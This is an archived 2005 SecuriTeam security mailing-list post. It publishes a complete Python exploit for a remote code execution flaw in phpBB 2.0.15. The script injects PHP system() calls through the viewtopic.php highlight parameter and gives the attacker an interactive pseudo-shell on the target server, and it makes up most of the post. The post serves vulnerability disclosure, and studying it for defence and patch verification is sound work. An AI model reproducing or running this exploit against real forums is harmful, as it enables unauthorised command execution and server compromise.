[EXPL] phpBB Remote PHP Code Execution (viewtopic.php 2)

From: SecuriTeam (support_at_securiteam.com)
Date: 06/30/05

  • Next message: SecuriTeam: "[EXPL] Vulnerability in Message Queuing Allows Code Execution (MS05-017, Exploit 2)"
    To: list@securiteam.com
    Date: 30 Jun 2005 15:14:11 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      phpBB Remote PHP Code Execution (viewtopic.php 2)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.phpbb.com/> phpBB is a high powered, fully scalable, and
    highly customizable Open Source bulletin board package".

    The following exploit code utilizes a vulnerability in phpBB to cause
    phpBB to execute arbitrary code.

    DETAILS

    Vulnerable Systems:
     * phpBB version 2.0.15

    #!/usr/bin/pyth0n
    #
    ################################ this exploit for
                                                                  # phpBB
    2.0.15
    print "\nphpBB 2.0.15 arbitrary command execution eXploit" # emulates
    a shell,
    print " 2005 by rattle@awarenetwork.org" # rather
    than
    print " well, just because there is none." # sending a
    single
                                                                  # command.
    import sys ##
    from urllib2 import Request, urlopen
    from urlparse import urlparse, urlunparse
    from urllib import quote as quote_plus

    INITTAG = '<g0>'
    ENDTAG = '</g0>'

    def makecmd(cmd):
        return reduce(lambda x,y:
    x+'.chr(%d)'%ord(y),cmd[1:],'chr(%d)'%ord(cmd[0]))

    _ex = "%sviewtopic.php?t=%s&highlight=%%27."
    _ex += "printf(" + makecmd(INITTAG) + ").system(%s)."
    _ex += "printf(" + makecmd(ENDTAG) + ").%%27"

    def usage():
        print """Usage: %s <forum> <topic>
     
        forum - fully qualified url to the forum
                example: http://www.host.com/phpBB/

        topic - ID of an existing topic. Well you
                will have to check yourself.

    """[:-1] % sys.argv[0]; sys.exit(1)

    if __name__ == '__main__':

        if len(sys.argv) < 3 or not sys.argv[2].isdigit():
            usage()
        else:
            print
            url = sys.argv[1]
            if url.count("://") == 0:
                url = "http://" + url
            url = list(urlparse(url))
            host = url[1]
            if not host: usage()

            if not url[0]: url[0] = 'http'
            if not url[2]: url[2] = '/'
            url[3] = url[4] = url[5] = ''

            url = urlunparse(url)
     if url[-1] != '/': url += '/'

            topic = quote_plus((sys.argv[2]))

            while 1:

                try:
                    cmd = raw_input("[%s]$ " % host).strip()
                    if cmd[-1]==';': cmd=cmd[:-1]

                    if (cmd == "exit"): break
                    else: cmd = makecmd(cmd)
      
      out = _ex % (url,topic,cmd)

                    try: ret = urlopen(Request(out)).read()
                    except KeyboardInterrupt: continue
                    except: pass

                    else:
                        ret = ret.split(INITTAG,1)
                        if len(ret)>1: ret = ret[1].split(ENDTAG,1)
                        if len(ret)>1:
                            ret = ret[0].strip();
                            if ret: print ret
                            continue;

                    print "EXPLOIT FAILED"

                except:
                    continue

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:rattle@awarenetwork.org>
    rattle.
    The original article can be found at:
    <http://www.milw0rm.com/id.php?id=1076>
    http://www.milw0rm.com/id.php?id=1076

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] Vulnerability in Message Queuing Allows Code Execution (MS05-017, Exploit 2)"

    Relevant Pages

    • [UNIX] phpBB SQL Injection and Attachmodule Add-On Directory Traversal
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... phpBB is "a high powered, fully scalable, and ... able to inject any type of SQL query to the back-end database server. ...
      (Securiteam)
    • [EXPL] phpBB Multiple User Registeration DoS (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... these users can be used to cause a DoS against the phpBB product. ... int Connection; ... Write_In(sock, Path, Pro_Sea, Host, x); ...
      (Securiteam)
    • [UNIX] phpBB u Variable SQL Injection
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... phpBB is "a high powered, fully scalable, and ... An SQL injection vulnerability exists in the uid field sent to phpBB, ...
      (Securiteam)
    • [EXPL] phpBB UID Exploit (Perl exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... browsers in such a way that when the browser will try to access the phpBB ... for this bug. ... This bulletin is sent to members of the SecuriTeam mailing list. ...
      (Securiteam)
    • [UNIX] phpBB Full Path Disclosure and XSS Vulnerability (category_rows, faq, ranksrow)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... phpBB is "a high powered, fully scalable, and ... Fatal error: operator not supported for strings in ...
      (Securiteam)